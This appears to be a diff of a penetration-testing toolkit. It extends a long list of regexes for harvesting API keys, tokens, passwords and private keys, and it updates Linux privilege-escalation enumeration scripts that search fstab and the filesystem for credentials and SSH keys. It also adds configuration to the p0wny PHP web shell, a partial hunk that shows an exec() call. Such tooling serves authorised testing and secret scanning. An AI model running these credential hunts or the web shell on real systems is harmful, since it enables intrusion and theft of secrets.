search_for_regex "Facebook Oauth" "[fF][aA][cC][eE][bB][oO][oO][kK].*['|\"][0-9a-f]{32}['|\"]" + search_for_regex "Facebook Secret Key" "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['\"][0-9a-f]{32}" + search_for_regex "Fastly API Key" "(fastly[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_\-]{32})['\"]" 1 + search_for_regex "Finicity API Key & Client Secret" "(finicity[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32}|[a-z0-9]{20})['\"]" 1 + search_for_regex "Flutterweave Keys" "FLWPUBK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST[a-hA-H0-9]{12}" + search_for_regex "Frame.io API Key" "fio-u-[a-zA-Z0-9_=\-]{64}" + search_for_regex "Github" "github(.{0,20})?['\"][0-9a-zA-Z]{35,40}" + search_for_regex "Github App Token" "(ghu|ghs)_[0-9a-zA-Z]{36}" + search_for_regex "Github OAuth Access Token" "gho_[0-9a-zA-Z]{36}" + search_for_regex "Github Personal Access Token" "ghp_[0-9a-zA-Z]{36}" + search_for_regex "Github Refresh Token" "ghr_[0-9a-zA-Z]{76}" + search_for_regex "GitHub Fine-Grained Personal Access Token" "github_pat_[0-9a-zA-Z_]{82}" + search_for_regex "Gitlab Personal Access Token" "glpat-[0-9a-zA-Z\-]{20}" + search_for_regex "GitLab Pipeline Trigger Token" "glptt-[0-9a-f]{40}" + search_for_regex "GitLab Runner Registration Token" "GR1348941[0-9a-zA-Z_\-]{20}" + search_for_regex "GoCardless API Key" "live_[a-zA-Z0-9_=\-]{40}" + search_for_regex "GoFile API Key" "(gofile[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{32})['\"]" 1 + search_for_regex "Google API Key" "AIza[0-9A-Za-z_\-]{35}" + search_for_regex "Google Cloud Platform API Key" "(google|gcp|youtube|drive|yt)(.{0,20})?['\"][AIza[0-9a-z_\-]{35}]['\"]" + search_for_regex "Google Drive Oauth" "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com" + search_for_regex "Google Oauth Access Token" "ya29\.[0-9A-Za-z_\-]+" + search_for_regex "Google (GCP) Service-account" "\"type.+:.+\"service_account" + search_for_regex "Grafana API Key" "eyJrIjoi[a-z0-9_=\-]{72,92}" 1 + search_for_regex "Grafana cloud api token" "glc_[A-Za-z0-9\+/]{32,}={0,2}" + search_for_regex "Grafana service account token" "(glsa_[A-Za-z0-9]{32}_[A-Fa-f0-9]{8})" + search_for_regex "Hashicorp Terraform user/org API Key" "[a-z0-9]{14}\.atlasv1\.[a-z0-9_=\-]{60,70}" + search_for_regex "Heroku API Key" "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" + search_for_regex "Hubspot API Key" "['\"][a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12}['\"]" 1 + search_for_regex "Instatus API Key" "(instatus[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1 + search_for_regex "Intercom API Key & Client Secret/ID" "(intercom[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9=_]{60}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1 + search_for_regex "Ionic API Key" "(ionic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"](ion_[a-z0-9]{42})['\"]" 1 + search_for_regex "Jenkins Creds" "<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" + search_for_regex "JSON Web Token" "(ey[0-9a-z]{30,34}\.ey[0-9a-z\/_\-]{30,}\.[0-9a-zA-Z\/_\-]{10,}={0,2})" + search_for_regex "Kraken Access Token" "([a-z0-9\/=_\+\-]{80,90})" + search_for_regex "Kucoin Secret Key" "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})" + search_for_regex "Linear API Key" "(lin_api_[a-zA-Z0-9]{40})" + search_for_regex "Linear Client Secret/ID" "((linear[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-f0-9]{32})['\"])" + search_for_regex "LinkedIn Client ID" "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" + search_for_regex "LinkedIn Secret Key" "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" + search_for_regex "Lob API Key" "((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((live|test)_[a-f0-9]{35})['\"])|((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]((test|live)_pub_[a-f0-9]{31})['\"])" 1 + search_for_regex "Lob Publishable API Key" "((test|live)_pub_[a-f0-9]{31})" + search_for_regex "MailboxValidator" "(mailbox.?validator[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{20})['\"]" 1 + search_for_regex "Mailchimp API Key" "[0-9a-f]{32}-us[0-9]{1,2}" + search_for_regex "Mailgun API Key" "key-[0-9a-zA-Z]{32}'" + search_for_regex "Mailgun Public Validation Key" "pubkey-[a-f0-9]{32}" + search_for_regex "Mailgun Webhook signing key" "[a-h0-9]{32}-[a-h0-9]{8}-[a-h0-9]{8}" + search_for_regex "Mapbox API Key" "(pk\.[a-z0-9]{60}\.[a-z0-9]{22})" 1 + search_for_regex "MessageBird API Key & API client ID" "(messagebird[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{25}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['\"]" 1 + search_for_regex "Microsoft Teams Webhook" "https:\/\/[a-z0-9]+\.webhook\.office\.com\/webhookb2\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}@[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\/IncomingWebhook\/[a-z0-9]{32}\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}" + search_for_regex "New Relic User API Key, User API ID & Ingest Browser API Key" "(NRAK-[A-Z0-9]{27})|((newrelic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Z0-9]{64})['\"])|(NRJS-[a-f0-9]{19})" + search_for_regex "Nownodes" "(nownodes[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9]{32})['\"]" + search_for_regex "Npm Access Token" "(npm_[a-zA-Z0-9]{36})" + search_for_regex "OpenAI API Token" "sk-[A-Za-z0-9]{48}" + search_for_regex "ORB Intelligence Access Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]" + search_for_regex "Pastebin API Key" "(pastebin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{32})['\"]" 1 + search_for_regex "PayPal Braintree Access Token" "access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}" + search_for_regex "Picatic API Key" "sk_live_[0-9a-z]{32}" + search_for_regex "Pinata API Key" "(pinata[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{64})['\"]" 1 + search_for_regex "Planetscale API Key" "pscale_tkn_[a-zA-Z0-9_\.\-]{43}" + search_for_regex "PlanetScale OAuth token" "(pscale_oauth_[a-zA-Z0-9_\.\-]{32,64})" + search_for_regex "Planetscale Password" "pscale_pw_[a-zA-Z0-9_\.\-]{43}" + search_for_regex "Plaid API Token" "(access-(?:sandbox|development|production)-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})" + search_for_regex "Prefect API token" "(pnu_[a-z0-9]{36})" + search_for_regex "Postman API Key" "PMAK-[a-fA-F0-9]{24}-[a-fA-F0-9]{34}" + search_for_regex "Private Keys" "\-\-\-\-\-BEGIN PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN RSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN OPENSSH PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN PGP PRIVATE KEY BLOCK\-\-\-\-\-|\-\-\-\-\-BEGIN DSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN EC PRIVATE KEY\-\-\-\-\-" + search_for_regex "Pulumi API Key" "pul-[a-f0-9]{40}" + search_for_regex "PyPI upload token" "pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}" + search_for_regex "Quip API Key" "(quip[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-zA-Z0-9]{15}=\|[0-9]{10}\|[a-zA-Z0-9\/+]{43}=)['\"]" 1 + search_for_regex "Rubygem API Key" "rubygems_[a-f0-9]{48}" + search_for_regex "Readme API token" "rdme_[a-z0-9]{70}" + search_for_regex "Sendbird Access ID" "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})" + search_for_regex "Sendgrid API Key" "SG\.[a-zA-Z0-9_\.\-]{66}" + search_for_regex "Sendinblue API Key" "xkeysib-[a-f0-9]{64}-[a-zA-Z0-9]{16}" + search_for_regex "Shippo API Key, Access Token, Custom Access Token, Private App Access Token & Shared Secret" "shippo_(live|test)_[a-f0-9]{40}|shpat_[a-fA-F0-9]{32}|shpca_[a-fA-F0-9]{32}|shppa_[a-fA-F0-9]{32}|shpss_[a-fA-F0-9]{32}" + search_for_regex "Sidekiq Secret" "([a-f0-9]{8}:[a-f0-9]{8})" + search_for_regex "Sidekiq Sensitive URL" "([a-f0-9]{8}:[a-f0-9]{8})@(?:gems.contribsys.com|enterprise.contribsys.com)" + search_for_regex "Slack Token" "xox[baprs]-([0-9a-zA-Z]{10,48})?" + search_for_regex "Slack Webhook" "https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}" + search_for_regex "Smarksheel API Key" "(smartsheet[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{26})['\"]" 1 + search_for_regex "Square Access Token" "sqOatp-[0-9A-Za-z_\-]{22}" + search_for_regex "Square API Key" "EAAAE[a-zA-Z0-9_-]{59}" + search_for_regex "Square Oauth Secret" "sq0csp-[ 0-9A-Za-z_\-]{43}" + search_for_regex "Stytch API Key" "secret-.*-[a-zA-Z0-9_=\-]{36}" + search_for_regex "Stripe Access Token & API Key" "(sk|pk)_(test|live)_[0-9a-z]{10,32}|k_live_[0-9a-zA-Z]{24}" 1 + search_for_regex "Telegram Bot API Token" "[0-9]+:AA[0-9A-Za-z\\-_]{33}" + search_for_regex "Trello API Key" "(trello[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-z]{32})['\"]" + search_for_regex "Twilio API Key" "SK[0-9a-fA-F]{32}" + search_for_regex "Twitch API Key" "(twitch[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([a-z0-9]{30})['\"]" + search_for_regex "Twitter Client ID" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}" + search_for_regex "Twitter Bearer Token" "(A{22}[a-zA-Z0-9%]{80,100})" + search_for_regex "Twitter Oauth" "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]" + search_for_regex "Twitter Secret Key" "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" + search_for_regex "Typeform API Key" "tfp_[a-z0-9_\.=\-]{59}" + search_for_regex "URLScan API Key" "['\"][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['\"]" + search_for_regex "Yandex Access Token" "(t1\.[A-Z0-9a-z_-]+[=]{0,2}\.[A-Z0-9a-z_-]{86}[=]{0,2})" + search_for_regex "Yandex API Key" "(AQVN[A-Za-z0-9_\-]{35,38})" + search_for_regex "Yandex AWS Access Token" "(YC[a-zA-Z0-9_\-]{38})" + search_for_regex "Web3 API Key" "(web3[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([A-Za-z0-9_=\-]+\.[A-Za-z0-9_=\-]+\.?[A-Za-z0-9_.+/=\-]*)['\"]" 1 + echo '' + + print_2title "Searching Misc" + search_for_regex "Generic Secret" "[sS][eE][cC][rR][eE][tT].*['\"][0-9a-zA-Z]{32,45}['\"]" + search_for_regex "Basic Auth" "//(.+):(.+)@" + search_for_regex "Code asigning passwords" "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass|pass').*[=:].+" + search_for_regex "PHP defined password" "define ?\(['\"](\w*pass|\w*pwd|\w*user|\w*datab)" + search_for_regex "Config Secrets" "passwd.*|creden.*|^kind:[^a-zA-Z0-9_]?Secret|[^a-zA-Z0-9_]env:|secret:|secretName:|^kind:[^a-zA-Z0-9_]?EncryptionConfiguration|\-\-encryption\-provider\-config" + search_for_regex "Simple Passwords" "passw.*[=:].+" + search_for_regex "Generiac API tokens search (A-C)" "(access_key|access_token|account_sid|admin_email|admin_pass|admin_user|adzerk_api_key|algolia_admin_key|algolia_api_key| algolia_search_key|alias_pass|alicloud_access_key|alicloud_secret_key|amazon_bucket_name|amazon_secret_access_key| amazonaws|anaconda_token|android_docs_deploy_token|ansible_vault_password|aos_key|aos_sec| api_key|api_key_secret|api_key_sid|api_secret|apiary_api_key|apigw_access_token|api.googlemaps|AIza|apidocs| apikey|apiSecret|app_bucket_perm|appclientsecret|app_debug|app_id|appkey|appkeysecret|app_key|app_log_level|app_report_token_key| app_secret|app_token|apple_id_password|application_key|appsecret|appspot|argos_token|artifactory_key|artifacts_aws_access_key_id| artifacts_aws_secret_access_key|artifacts_bucket|artifacts_key|artifacts_secret|assistant_iam_apikey|auth0_api_clientsecret| auth0_client_secret|auth_token|authorizationToken|author_email_addr|author_npm_api_key|authsecret|awsaccesskeyid|aws_access| aws_access_key|aws_access_key_id|aws_bucket|aws_config_accesskeyid|aws_key|aws_secret|aws_secret_access_key|awssecretkey| aws_secret_key|aws_secrets|aws_ses_access_key_id|aws_ses_secret_access_key|aws_token|awscn_access_key_id|awscn_secret_access_key| AWSSecretKey|b2_app_key|b2_bucket|bashrc password|bintray_api_key|bintray_apikey|bintray_gpg_password|bintray_key| bintray_token|bintraykey|bluemix_api_key|bluemix_auth|bluemix_pass|bluemix_pass_prod|bluemix_password|bluemix_pwd|bluemix_username brackets_repo_oauth_token|browser_stack_access_key|browserstack_access_key|bucket_password|bucketeer_aws_access_key_id| bucketeer_aws_secret_access_key|built_branch_deploy_key|bundlesize_github_token|bx_password|bx_username|cache_driver| cache_s3_secret_key|cargo_token|cattle_access_key|cattle_agent_instance_auth|cattle_secret_key|censys_secret|certificate_password| cf_password|cheverny_token|chrome_client_secret|chrome_refresh_token|ci_deploy_password|ci_project_url|ci_registry_user| ci_server_name|ci_user_token|claimr_database|claimr_db|claimr_superuser|claimr_token|cli_e2e_cma_token|client_secret| client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key| cloudant_archived_database|cloudant_audited_database|cloudant_database|cloudant_instance|cloudant_order_database| cloudant_parsed_database|cloudant_password|cloudant_processed_database|cloudant_service_database| cloudflare_api_key|cloudflare_auth_email|cloudflare_auth_key|cloudflare_email|cloudinary_api_secret|cloudinary_name| cloudinary_url|cloudinary_url_staging|clu_repo_url|clu_ssh_private_key_base64|cn_access_key_id|cn_secret_access_key| cocoapods_trunk_email|cocoapods_trunk_token|codacy_project_token|codeclimate_repo_token|codecov_token|coding_token| conekta_apikey|conn.login|connectionstring|consumerkey|consumer_key|consumer_secret|contentful_access_token| contentful_cma_test_token|contentful_integration_management_token|contentful_integration_management_token| contentful_management_api_access_token|contentful_management_api_access_token_new|contentful_php_management_test_token| contentful_test_org_cma_token|contentful_v2_access_token|conversation_password|conversation_username|cos_secrets| coveralls_api_token|coveralls_repo_token|coveralls_token|coverity_scan_token|credentials| cypress_record_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]" + search_for_regex "Generiac API tokens search (D-H)" "(danger_github_api_token|database_host|database_name|database_password|database_port|database_schema_test| database_user|database_username|datadog_api_key|datadog_app_key|db_connection|db_database|db_host|db_password| db_pw|db_server|db_user|db_username|dbpasswd|dbpassword|dbuser|ddg_test_email|ddg_test_email_pw|ddgc_github_token| deploy_password|deploy_secure|deploy_token|deploy_user|dgpg_passphrase|digitalocean_access_token| digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd| docker_password|docker_postgres_url|docker_token|dockerhub_password|dockerhubpassword|doordash_auth_token| dot-files|dotfiles|dropbox_oauth_bearer|droplet_travis_password|dsonar_login|dsonar_projectkey|dynamoaccesskeyid| dynamosecretaccesskey|elastic_cloud_auth|elastica_host|elastica_port|elasticsearch_password|encryption_key| encryption_password|end_user_password|env_github_oauth_token|env_heroku_api_key|env_key|env_secret|env_secret_access_key| env_sonatype_password|eureka_awssecretkey|env.heroku_api_key|env.sonatype_password|eureka.awssecretkey|exp_password| file_password|firebase_api_json|firebase_api_token|firebase_key|firebase_project_develop|firebase_token|firefox_secret| flask_secret_key|flickr_api_key|flickr_api_secret|fossa_api_key|ftp_host|ftp_login|ftp_password|ftp_pw|ftp_user|ftp_username| gcloud_bucket|gcloud_project|gcloud_service_key|gcr_password|gcs_bucket|gh_api_key|gh_email|gh_next_oauth_client_secret| gh_next_unstable_oauth_client_id|gh_next_unstable_oauth_client_secret|gh_oauth_client_secret|gh_oauth_token|gh_repo_token| gh_token|gh_unstable_oauth_client_secret|ghb_token|ghost_api_key|git_author_email|git_author_name|git_committer_email| git_committer_name|git_email|git_name|git_token|github_access_token|github_api_key|github_api_token|github_auth|github_auth_token| github_auth_token|github_client_secret|github_deploy_hb_doc_pass|github_deployment_token|github_hunter_token|github_hunter_username| github_key|github_oauth|github_oauth_token|github_oauth_token|github_password|github_pwd|github_release_token|github_repo| github_token|github_tokens|gitlab_user_email|gogs_password|google_account_type|google_client_email|google_client_id|google_client_secret| google_maps_api_key|google_private_key|gpg_key_name|gpg_keyname|gpg_ownertrust|gpg_passphrase|gpg_private_key|gpg_secret_keys| gradle_publish_key|gradle_publish_secret|gradle_signing_key_id|gradle_signing_password|gren_github_token|grgit_user|hab_auth_token| hab_key|hb_codesign_gpg_pass|hb_codesign_key_pass|heroku_api_key|heroku_email|heroku_token|hockeyapp_token|homebrew_github_api_token| hub_dxia2_password)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]" + search_for_regex "Generiac API tokens search (I-R)" "(ij_repo_password|ij_repo_username|index_name|integration_test_api_key|integration_test_appid|internal_secrets| ios_docs_deploy_token|itest_gh_token|jdbc_databaseurl|jdbc_host|jdbc:mysql|jwt_secret|kafka_admin_url|kafka_instance_name|kafka_rest_url| keystore_pass|kovan_private_key|kubecfg_s3_path|kubeconfig|kxoltsn3vogdop92m|leanplum_key|lektor_deploy_password|lektor_deploy_username| lighthouse_api_key|linkedin_client_secretorlottie_s3_api_key|linux_signing_key|ll_publish_url|ll_shared_key|looker_test_runner_client_secret| lottie_happo_api_key|lottie_happo_secret_key|lottie_s3_secret_key|lottie_upload_cert_key_password|lottie_upload_cert_key_store_password| mail_password|mailchimp_api_key|mailchimp_key|mailer_password|mailgun_api_key|mailgun_apikey|mailgun_password|mailgun_priv_key| mailgun_pub_apikey|mailgun_pub_key|mailgun_secret_api_key|manage_key|manage_secret|management_token|managementapiaccesstoken|mandrill_api_key| manifest_app_token|manifest_app_url|mapbox_access_token|mapbox_api_token|mapbox_aws_access_key_id|mapbox_aws_secret_access_key| mapboxaccesstoken|mg_api_key|mg_public_api_key|mh_apikey|mh_password|mile_zero_key|minio_access_key|minio_secret_key|multi_bob_sid| multi_connect_sid|multi_disconnect_sid|multi_workflow_sid|multi_workspace_sid|my_secret_env|mysql_database|mysql_hostname|mysql_password| mysql_root_password|mysql_user|mysql_username|mysqlmasteruser|mysqlsecret|nativeevents|netlify_api_key|new_relic_beta_token|nexus_password| nexuspassword|ngrok_auth_token|ngrok_token|node_env|node_pre_gyp_accesskeyid|node_pre_gyp_github_token|node_pre_gyp_secretaccesskey| non_token|now_token|npm_api_key|npm_api_token|npm_auth_token|npm_email|npm_password|npm_secret_key|npm_token|nuget_api_key|nuget_apikey| nuget_key|numbers_service_pass|oauth_token|object_storage_password|object_storage_region_name|object_store_bucket|object_store_creds| oc_pass|octest_app_password|octest_app_username|octest_password|ofta_key|ofta_region|ofta_secret|okta_client_token|okta_oauth2_client_secret| okta_oauth2_clientsecret|onesignal_api_key|onesignal_user_auth_key|open_whisk_key|openwhisk_key|org_gradle_project_sonatype_nexus_password| org_project_gradle_sonatype_nexus_password|os_auth_url|os_password|ossrh_jira_password|ossrh_pass|ossrh_password|ossrh_secret| ossrh_username|packagecloud_token|pagerduty_apikey|parse_js_key|passwordtravis|paypal_client_secret|percy_project|percy_token|personal_key| personal_secret|pg_database|pg_host|places_api_key|places_apikey|plotly_apikey|plugin_password|postgresql_db|postgresql_pass| postgres_env_postgres_db|postgres_env_postgres_password|preferred_username|pring_mail_username|private_signing_password|prod_access_key_id| prod_password|prod_secret_key|project_config|publish_access|publish_key|publish_secret|pushover_token|pypi_passowrd|qiita_token| quip_token|rabbitmq_password|randrmusicapiaccesstoken|redis_stunnel_urls|rediscloud_url|refresh_token|registry_pass|registry_secure| release_gh_token|release_token|reporting_webdav_pwd|reporting_webdav_url|repotoken|rest_api_key|rinkeby_private_key|ropsten_private_key| route53_access_key_id|rtd_key_pass|rtd_store_pass|rubygems_auth_token)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]" + search_for_regex "Generiac API tokens search (S-Z)" "(s3_access_key|s3_access_key_id|s3_bucket_name_app_logs|s3_bucket_name_assets|s3_external_3_amazonaws_com|s3_key| s3_key_app_logs|s3_key_assets|s3_secret_app_logs|s3_secret_assets|s3_secret_key|s3_user_secret|sacloud_access_token| sacloud_access_token_secret|sacloud_api|salesforce_bulk_test_password|salesforce_bulk_test_security_token| sandbox_access_token|sandbox_aws_access_key_id|sandbox_aws_secret_access_key|sauce_access_key|scrutinizer_token|sdr_token|secret_0| secret_1|secret_10|secret_11|secret_2|secret_3|secret_4|secret_5|secret_6|secret_7|secret_8|secret_9|secret_key_base|secretaccesskey| secret_key_base|segment_api_key|selion_log_level_dev|selion_selenium_host|sendgrid|sendgrid_api_key|sendgrid_key|sendgrid_password|sendgrid_user| sendgrid_username|sendwithus_key|sentry_auth_token|sentry_default_org|sentry_endpoint|sentry_secret|sentry_key|service_account_secret|ses_access_key| ses_secret_key|setdstaccesskey|setdstsecretkey|setsecretkey|signing_key|signing_key_password|signing_key_secret|signing_key_sid|slash_developer_space| slash_developer_space_key|slate_user_email|snoowrap_client_secret|snoowrap_password|snoowrap_refresh_token|snyk_api_token|snyk_token| socrata_app_token|socrata_password|sonar_organization_key|sonar_project_key|sonar_token|sonatype_gpg_key_name|sonatype_gpg_passphrase| sonatype_nexus_password|sonatype_pass|sonatype_password|sonatype_token_password|sonatype_token_user|sonatypepassword|soundcloud_client_secret| soundcloud_password|spaces_access_key_id|spaces_secret_access_key|spotify_api_access_token|spotify_api_client_secret|spring_mail_password|sqsaccesskey| sqssecretkey|square_reader_sdk_repository_password|srcclr_api_token|sshpass|ssmtp_config|staging_base_url_runscope|star_test_aws_access_key_id| star_test_bucket|star_test_location|star_test_secret_access_key|starship_account_sid|starship_auth_token|stormpath_api_key_id|stormpath_api_key_secret| strip_publishable_key|strip_secret_key|stripe_private|stripe_public|surge_login|surge_token|svn_pass|tesco_api_key|test_github_token| test_test|tester_keys_password|thera_oss_access_key|token_core_java|travis_access_token|travis_api_token|travis_branch|travis_com_token|travis_e2e_token| travis_gh_token|travis_pull_request|travis_secure_env_vars|travis_token|trex_client_token|trex_okta_client_token|twilio_api_key|twilio_api_secret| twilio_chat_account_api_service|twilio_configuration_sid|twilio_sid|twilio_token|twine_password|twitter_consumer_key|twitter_consumer_secret|twitteroauthaccesssecret| twitteroauthaccesstoken|unity_password|unity_serial|urban_key|urban_master_secret|urban_secret|us_east_1_elb_amazonaws_com|use_ssh| user_assets_access_key_id|user_assets_secret_access_key|usertravis|v_sfdc_client_secret|v_sfdc_password|vip_github_build_repo_deploy_key|vip_github_deploy_key| vip_github_deploy_key_pass|virustotal_apikey|visual_recognition_api_key|vscetoken|wakatime_api_key|watson_conversation_password|watson_device_password| watson_password|widget_basic_password|widget_basic_password_2|widget_basic_password_3|widget_basic_password_4|widget_basic_password_5|widget_fb_password| widget_fb_password_2|widget_fb_password_3|widget_test_server|wincert_password|wordpress_db_password|wordpress_db_user|wpjm_phpunit_google_geocode_api_key| wporg_password|wpt_db_password|wpt_db_user|wpt_prepare_dir|wpt_report_api_key|wpt_ssh_connect|wpt_ssh_private_key_base64|www_googleapis_com| yangshun_gh_password|yangshun_gh_token|yt_account_client_secret|yt_account_refresh_token|yt_api_key|yt_client_secret|yt_partner_client_secret| yt_partner_refresh_token|yt_server_api_key|zensonatypepassword|zhuliang_gh_token|zopim_account_key)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['\"]([0-9a-zA-Z_=\-]{8,64})['\"]" + search_for_regex "Usernames" "username.*[=:].+" + search_for_regex "Net user add" "net user .+ /add" + echo '' + else echo "Regexes to search for API keys aren't activated, use param '-r' " diff --git a/linux-exploit-suggester.sh b/linux-exploit-suggester.sh index 42b7768..da66838 100755 --- a/linux-exploit-suggester.sh +++ b/linux-exploit-suggester.sh @@ -1,7 +1,7 @@ #!/bin/bash # -# Copyright (c) 2016-2022, @_mzet_ +# Copyright (c) 2016-2023, https://github.com/mzet- # # linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. # This is free software, and you are welcome to redistribute it diff --git a/lse.sh b/lse.sh index b29e6f2..2a7b801 100755 --- a/lse.sh +++ b/lse.sh @@ -5,7 +5,7 @@ # Author: Diego Blanco # GitHub: https://github.com/diego-treitos/linux-smart-enumeration # -lse_version="4.10nw" +lse_version="4.13nw" ##( Colors # @@ -611,6 +611,7 @@ lse_get_distro_codename() { #( elif [ -f /etc/os-release ]; then distro=`grep -E '^ID=' /etc/os-release | cut -f2 -d=` echo "$distro" | grep -qi opensuse && distro=opsuse + echo "$distro" | grep -qi rhel && distro=redhat elif [ -f /etc/redhat-release ]; then grep -qi "centos" /etc/redhat-release && distro=centos grep -qi "fedora" /etc/redhat-release && distro=fedora @@ -635,7 +636,7 @@ lse_get_pkg_version() { #( pkg_name="$1" case "$lse_distro_codename" in debian|ubuntu) - pkg_version=`dpkg -l "$pkg_name" 2>/dev/null | grep -E '^ii' | tr -s ' ' | cut -d' ' -f3` + pkg_version=`dpkg -l "$pkg_name" 2>/dev/null | grep -E '^[ih]i' | tr -s ' ' | cut -d' ' -f3` ;; centos|redhat|fedora|opsuse|rocky|amzn) pkg_version=`rpm -q "$pkg_name" 2>/dev/null` @@ -845,7 +846,7 @@ lse_run_tests_filesystem() { #looking for credentials in /etc/fstab and /etc/mtab lse_test "fst120" "0" \ "Are there any credentials in fstab/mtab?" \ - 'grep $lse_grep_opts -Ei "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab' + 'grep $lse_grep_opts -Ei "(user|username|login|pass|password|pw|credentials|cred)[=:]" /etc/fstab /etc/mtab' #check if current user has mail lse_test "fst130" "1" \ @@ -910,7 +911,7 @@ lse_run_tests_filesystem() { #check for SSH files anywhere lse_test "fst510" "2" \ "SSH files anywhere" \ - 'find / $lse_find_opts \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \;' + 'find / $lse_find_opts \( -name "*id_dsa*" -o -name "*id_rsa*" -o -name "*id_ecdsa*" -o -name "*id_ed25519*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} \;' #dump hosts.equiv file lse_test "fst520" "2" \ diff --git a/p0wny-shell.php b/p0wny-shell.php index 629f0c3..c17dfd3 100644 --- a/p0wny-shell.php +++ b/p0wny-shell.php @@ -1,5 +1,10 @@ 'p0wny', + 'hostname' => 'shell', +); + function expandPath($path) { if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) { exec("echo $match[1]", $stdout); @@ -8,8 +13,52 @@ function expandPath($path) 